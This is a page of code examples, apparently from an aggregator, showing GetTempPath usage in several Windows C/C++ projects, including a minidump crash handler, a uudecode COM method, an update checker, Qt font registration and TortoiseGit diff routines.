    BOOL bMiniDumpSuccessful;
    char szPath[MAX_PATH];
    char szFileName[MAX_PATH];
    char szFileNameOutput[MAX_PATH];
    const char* szAppName = getAppName();
    const char* szVersion = getAppVersion();
    DWORD dwBufferSize = MAX_PATH;
    HANDLE hDumpFile;
    SYSTEMTIME stLocalTime;
    MINIDUMP_EXCEPTION_INFORMATION ExpParam;

    GetLocalTime( &stLocalTime );
    GetTempPath( dwBufferSize, szPath );

    sprintf( szFileName, "%s%s", szPath, szAppName );
    CreateDirectory( szFileName, NULL );

    BUILD_UNIQUE_FILENAME(szFileName, ".dmp", szPath, szAppName, szVersion, stLocalTime);
    BUILD_UNIQUE_FILENAME(szFileNameOutput, ".out", szPath, szAppName, szVersion, stLocalTime);

    hDumpFile = CreateFile(szFileName,
                           GENERIC_READ|GENERIC_WRITE,
                           FILE_SHARE_WRITE|FILE_SHARE_READ,
                           0,
                           CREATE_ALWAYS,
                           0,
                           0);

    ExpParam.ThreadId = GetCurrentThreadId();
    ExpParam.ExceptionPointers = pExceptionPointers;
    ExpParam.ClientPointers = TRUE;

    bMiniDumpSuccessful = MiniDumpWriteDump(GetCurrentProcess(),
                                            GetCurrentProcessId(),
                                            hDumpFile,
                                            MiniDumpWithDataSegs,
                                            &ExpParam,
                                            NULL,
                                            NULL);

    printf("MiniDump file:    %s\n", szFileName);
    printf("App exe and pdb:  %s\n", getBinariesPath());

    const char* cdbExePath = getCdbPath();
    if (cdbExePath && *cdbExePath != '\0') {
        printf("Cdb exe:          %s\n", cdbExePath);

        char command[MAX_PATH * 4];
        sprintf(command, "%s -y \"%s\" -i \"%s\" -z \"%s\" -c \"%s\" -kqm >\"%s\"",
                cdbExePath,
                getBinariesPath(),
                getBinariesPath(),
                szFileName,
                CDB_PRINT_CALLSTACK_CURRENT_THREAD,
                szFileNameOutput);
        system(command);

        printf("\nThread Callstack:\n");
        printCallstack(szFileNameOutput,
                       MARKER_THREAD_CALLSTACK_START,
                       MARKER_THREAD_CALLSTACK_STOP);

        printf("\nException Callstack:\n");
        printCallstack(szFileNameOutput,
                       MARKER_EXCEPTION_CALLSTACK_START,
                       MARKER_EXCEPTION_CALLSTACK_STOP);
    } else {
        printf("Warning: CDB path not set up.\n");
    }

    return EXCEPTION_EXECUTE_HANDLER;
}
Example #26
0
STDMETHODIMP CUUEngine::QuickDecode(BSTR File2Decode, BSTR OutputPath, BOOL XFile, long *retVal)
{
	Reset();				// Start with everything clear

	long rc;

	DLoad(File2Decode, &rc);

	if (rc != UURET_OK)	// Load the source file
	{
		*retVal = rc;
		return(S_OK);			// Couldn't load
	}

	MString prefix(OutputPath);	// Make a copy of the Output Path string

	if (prefix.IsEmpty()) 	// No prefix string supplied
		GetTempPath(256, prefix.GetBuffer(256));	// Read the temporary path

	char trail = prefix[prefix.GetLength() - 1];	// Read the last character

	if (trail != ':' && trail != '\\')	// Output path must end in slash or colon...
		prefix += "\\";			// Add the slash

	short maxIndex;
	
	get_DFCount(&maxIndex);	// Read the maximum file number

	CComBSTR tb, tb1, bP, outname;

	prefix.ToBSTR(&bP);

	for (short row=0; row < maxIndex; row++)
	{
		get_DFileFlags(row, &rc);

		if (rc & UUFILE_OK) 		// Ready to decode
		{
			get_DFile(row, &tb);
			FileFilter(tb, &tb1);

			outname = bP;
			
			outname += tb1;

			DFileTo(row, outname, &rc);

			if (rc != UURET_OK)	// Read the current 
			{
				*retVal = rc;
				return(S_OK);
			}

			put_DFile(row, outname);					// Return the full (filtered) path

			if (XFile)
			{
				if (XFList == NULL)
					XFList = new XFL(outname);
				else
					XFList->AddTail(outname);	// User wants these files added to X list
			}
		}
	}

	*retVal = UURET_OK;			// Got it!

	return S_OK;
}
UPDATE_RESULT fsUpdateMgr::CheckForUpdates()
{
	char szTmpDir [MAX_PATH];
	GetTempPath (MAX_PATH, szTmpDir);
	char szTmpFile [MAX_PATH];
	GetTempFileName (szTmpDir, "wut", 0, szTmpFile);
  
	UPDATE_RESULT ur = UR_CONNECTION_ERROR;
	
	if (UrlDownloadToFile (m_strUpdateUrl, szTmpFile))
	{
		ur = UR_NO_FRESH_VERSION;

		HANDLE hFile = CreateFile (szTmpFile, GENERIC_READ, 0, NULL, OPEN_EXISTING,
			0, NULL);
		if (hFile != INVALID_HANDLE_VALUE)
		{
			DWORD dw = GetFileSize (hFile, NULL);
			LPSTR pszFile = new char [dw + 1];
			ReadFile (hFile, pszFile, dw, &dw, NULL);
			pszFile [dw] = 0;
			CloseHandle (hFile);

			LPSTR psz = pszFile;

			char szVer [100];
			char szUrl [10000];

			m_newBuild = atoi (psz);
			while (*psz && *psz != '|')
				psz++;
			if (*psz)
				psz++;

			int i = 0;
			while (*psz && *psz != '|')
				szVer [i++] = *psz++;
			if (*psz)
				psz++;
			szVer [i] = 0;

			i = 0;
			while (*psz && *psz != '|')
				szUrl [i++] = *psz++;
			szUrl [i] = 0;

			if (m_newBuild > PRG_BUILD_NUMBER && m_strDistribUrl != "")
			{
				ur = UR_UPDATE_AVAILABLE;
				m_strDistribUrl = szUrl;
				m_strNewVer = szVer;
			}
			
			delete [] pszFile;
		}
	}

	DeleteFile (szTmpFile);

	return ur;
}
Example #28
0
static void registerFont(QFontDatabasePrivate::ApplicationFont *fnt)
{
    if(!fnt->data.isEmpty()) {
#ifndef Q_OS_WINCE
        PtrAddFontMemResourceEx ptrAddFontMemResourceEx = (PtrAddFontMemResourceEx)QSystemLibrary::resolve(QLatin1String("gdi32"),
                                                                                                     "AddFontMemResourceEx");
        if (!ptrAddFontMemResourceEx)
            return;
#endif
        getFamiliesAndSignatures(fnt->data, fnt);
        if (fnt->families.isEmpty())
            return;

#ifdef Q_OS_WINCE
        HANDLE handle = 0;

        {
#ifdef QT_NO_TEMPORARYFILE
           wchar_t lpBuffer[MAX_PATH];
           GetTempPath(MAX_PATH, lpBuffer);
           QString s = QString::fromWCharArray(lpBuffer);
           QFile tempfile(s + QLatin1String("/font") + QString::number(GetTickCount()) + QLatin1String(".ttf"));
           if (!tempfile.open(QIODevice::ReadWrite))
#else
            QTemporaryFile tempfile(QLatin1String("XXXXXXXX.ttf"));
            if (!tempfile.open())
#endif // QT_NO_TEMPORARYFILE
                return;
            if (tempfile.write(fnt->data) == -1)
                return;

#ifndef QT_NO_TEMPORARYFILE
            tempfile.setAutoRemove(false);
#endif
            fnt->fileName = QFileInfo(tempfile.fileName()).absoluteFilePath();
        }

        if (AddFontResource((LPCWSTR)fnt->fileName.utf16()) == 0) {
            QFile(fnt->fileName).remove();
            return;
        }
#else
        DWORD dummy = 0;
        HANDLE handle = ptrAddFontMemResourceEx((void *)fnt->data.constData(), fnt->data.size(), 0,
                                                &dummy);
        if (handle == 0)
            return;
#endif // Q_OS_WINCE

        fnt->handle = handle;
        fnt->data = QByteArray();
        fnt->memoryFont = true;
    } else {
        QFile f(fnt->fileName);
        if (!f.open(QIODevice::ReadOnly))
            return;
        QByteArray data = f.readAll();
        f.close();
        getFamiliesAndSignatures(data, fnt);

#ifdef Q_OS_WINCE
        QFileInfo fileinfo(fnt->fileName);
        fnt->fileName = fileinfo.absoluteFilePath();
        if (AddFontResource((LPCWSTR)fnt->fileName.utf16()) == 0)
            return;
#else
        PtrAddFontResourceExW ptrAddFontResourceExW = (PtrAddFontResourceExW)QSystemLibrary::resolve(QLatin1String("gdi32"),
                                                                                               "AddFontResourceExW");
        if (!ptrAddFontResourceExW
            || ptrAddFontResourceExW((wchar_t*)fnt->fileName.utf16(), FR_PRIVATE, 0) == 0)
            return;
#endif // Q_OS_WINCE

        fnt->memoryFont = false;
    }
}
Example #29
0
int CGitDiff::DiffNull(const CTGitPath *pPath, git_revnum_t rev1, bool bIsAdd, int jumpToLine)
{
	CString temppath;
	GetTempPath(temppath);
	if (rev1 != GIT_REV_ZERO)
	{
		CGitHash rev1Hash;
		if (g_Git.GetHash(rev1Hash, rev1)) // make sure we have a HASH here, otherwise filenames might be invalid
		{
			MessageBox(NULL, g_Git.GetGitLastErr(_T("Could not get hash of \"") + rev1 + _T("\".")), _T("TortoiseGit"), MB_ICONERROR);
			return -1;
		}
		rev1 = rev1Hash.ToString();
	}
	CString file1;
	CString nullfile;
	CString cmd;

	if(pPath->IsDirectory())
	{
		int result;
		// refresh if result = 1
		CTGitPath path = *pPath;
		while ((result = SubmoduleDiffNull(&path, rev1)) == 1)
		{
			path.SetFromGit(pPath->GetGitPathString());
		}
		return result;
	}

	if(rev1 != GIT_REV_ZERO )
	{
		TCHAR szTempName[MAX_PATH] = {0};
		GetTempFileName(temppath, pPath->GetBaseFilename(), 0, szTempName);
		CString temp(szTempName);
		DeleteFile(szTempName);
		CreateDirectory(szTempName, NULL);
		file1.Format(_T("%s\\%s-%s%s"),
				temp,
				pPath->GetBaseFilename(),
				rev1.Left(g_Git.GetShortHASHLength()),
				pPath->GetFileExtension());

		g_Git.GetOneFile(rev1,*pPath,file1);
	}
	else
	{
		file1=g_Git.m_CurrentDir+_T("\\")+pPath->GetWinPathString();
	}

	// preserve FileExtension, needed especially for diffing deleted images (detection on new filename extension)
	CString tempfile=::GetTempFile() + pPath->GetFileExtension();
	CStdioFile file(tempfile,CFile::modeReadWrite|CFile::modeCreate );
	//file.WriteString();
	file.Close();
	::SetFileAttributes(tempfile, FILE_ATTRIBUTE_READONLY);

	CAppUtils::DiffFlags flags;

	if(bIsAdd)
		CAppUtils::StartExtDiff(tempfile,file1,
							pPath->GetGitPathString(),
							pPath->GetGitPathString() + _T(":") + rev1.Left(g_Git.GetShortHASHLength()),
							g_Git.m_CurrentDir + _T("\\") + pPath->GetWinPathString(), g_Git.m_CurrentDir + _T("\\") + pPath->GetWinPathString(),
							git_revnum_t(GIT_REV_ZERO), rev1
							, flags, jumpToLine);
	else
		CAppUtils::StartExtDiff(file1,tempfile,
							pPath->GetGitPathString() + _T(":") + rev1.Left(g_Git.GetShortHASHLength()),
							pPath->GetGitPathString(),
							g_Git.m_CurrentDir + _T("\\") + pPath->GetWinPathString(), g_Git.m_CurrentDir + _T("\\") + pPath->GetWinPathString(),
							rev1, git_revnum_t(GIT_REV_ZERO)
							, flags, jumpToLine);

	return 0;
}
Example #30
0
int CGitDiff::Diff(const CTGitPath * pPath, const CTGitPath * pPath2, git_revnum_t rev1, git_revnum_t rev2, bool /*blame*/, bool /*unified*/, int jumpToLine)
{
	CString temppath;
	GetTempPath(temppath);

	// make sure we have HASHes here, otherwise filenames might be invalid
	if (rev1 != GIT_REV_ZERO)
	{
		CGitHash rev1Hash;
		if (g_Git.GetHash(rev1Hash, rev1))
		{
			MessageBox(NULL, g_Git.GetGitLastErr(_T("Could not get hash of \"") + rev1 + _T("\".")), _T("TortoiseGit"), MB_ICONERROR);
			return -1;
		}
		rev1 = rev1Hash.ToString();
	}
	if (rev2 != GIT_REV_ZERO)
	{
		CGitHash rev2Hash;
		if (g_Git.GetHash(rev2Hash, rev2))
		{
			MessageBox(NULL, g_Git.GetGitLastErr(_T("Could not get hash of \"") + rev2 + _T("\".")), _T("TortoiseGit"), MB_ICONERROR);
			return -1;
		}
		rev2 = rev2Hash.ToString();
	}

	CString file1;
	CString title1;
	CString cmd;

	if(pPath->IsDirectory() || pPath2->IsDirectory())
	{
		int result;
		// refresh if result = 1
		CTGitPath path = *pPath;
		CTGitPath path2 = *pPath2;
		while ((result = SubmoduleDiff(&path, &path2, rev1, rev2)) == 1)
		{
			path.SetFromGit(pPath->GetGitPathString());
			path2.SetFromGit(pPath2->GetGitPathString());
		}
		return result;
	}

	if(rev1 != GIT_REV_ZERO )
	{
		TCHAR szTempName[MAX_PATH] = {0};
		GetTempFileName(temppath, pPath->GetBaseFilename(), 0, szTempName);
		CString temp(szTempName);
		DeleteFile(szTempName);
		CreateDirectory(szTempName, NULL);
		// use original file extension, an external diff tool might need it
		file1.Format(_T("%s\\%s-%s-right%s"),
				temp,
				pPath->GetBaseFilename(),
				rev1.Left(g_Git.GetShortHASHLength()),
				pPath->GetFileExtension());
		title1 = pPath->GetFileOrDirectoryName() + _T(":") + rev1.Left(g_Git.GetShortHASHLength());
		g_Git.GetOneFile(rev1,*pPath,file1);
		::SetFileAttributes(file1, FILE_ATTRIBUTE_READONLY);
	}
	else
	{
		file1=g_Git.m_CurrentDir+_T("\\")+pPath->GetWinPathString();
		title1.Format( IDS_DIFF_WCNAME, pPath->GetFileOrDirectoryName() );
		if (!PathFileExists(file1))
		{
			CString sMsg;
			sMsg.Format(IDS_PROC_DIFFERROR_FILENOTINWORKINGTREE, file1);
			if (MessageBox(NULL, sMsg, _T("TortoiseGit"), MB_ICONEXCLAMATION | MB_YESNO) == IDNO)
				return 1;
			if (!CCommonAppUtils::FileOpenSave(file1, NULL, IDS_DIFF_WCNAME, IDS_COMMONFILEFILTER, true))
				return 1;
			title1.Format(IDS_DIFF_WCNAME, CTGitPath(file1).GetUIFileOrDirectoryName());
		}
	}

	CString file2;
	CString title2;
	if(rev2 != GIT_REV_ZERO)
	{
		TCHAR szTempName[MAX_PATH] = {0};
		GetTempFileName(temppath, pPath2->GetBaseFilename(), 0, szTempName);
		CString temp(szTempName);
		DeleteFile(szTempName);
		CreateDirectory(szTempName, NULL);
		CTGitPath fileName = *pPath2;
		if (pPath2->m_Action & CTGitPath::LOGACTIONS_REPLACED)
			fileName = CTGitPath(pPath2->GetGitOldPathString());

		// use original file extension, an external diff tool might need it
		file2.Format(_T("%s\\%s-%s-left%s"),
				temp,
				fileName.GetBaseFilename(),
				rev2.Left(g_Git.GetShortHASHLength()),
				fileName.GetFileExtension());
		title2 = fileName.GetFileOrDirectoryName() + _T(":") + rev2.Left(g_Git.GetShortHASHLength());
		g_Git.GetOneFile(rev2, fileName, file2);
		::SetFileAttributes(file2, FILE_ATTRIBUTE_READONLY);
	}
	else
	{
		file2=g_Git.m_CurrentDir+_T("\\")+pPath2->GetWinPathString();
		title2.Format( IDS_DIFF_WCNAME, pPath2->GetFileOrDirectoryName() );
	}

	if (pPath->m_Action == pPath->LOGACTIONS_ADDED)
	{
		CGitDiff::DiffNull(pPath, rev1, true, jumpToLine);
	}
	else if (pPath->m_Action == pPath->LOGACTIONS_DELETED)
	{
		CGitDiff::DiffNull(pPath, rev2, false, jumpToLine);
	}
	else
	{
		CAppUtils::DiffFlags flags;
		CAppUtils::StartExtDiff(file2,file1,
								title2,
								title1,
								g_Git.m_CurrentDir + _T("\\") + pPath2->GetWinPathString(),
								g_Git.m_CurrentDir + _T("\\") + pPath->GetWinPathString(),
								rev2,
								rev1,
								flags, jumpToLine);
	}
	return 0;
}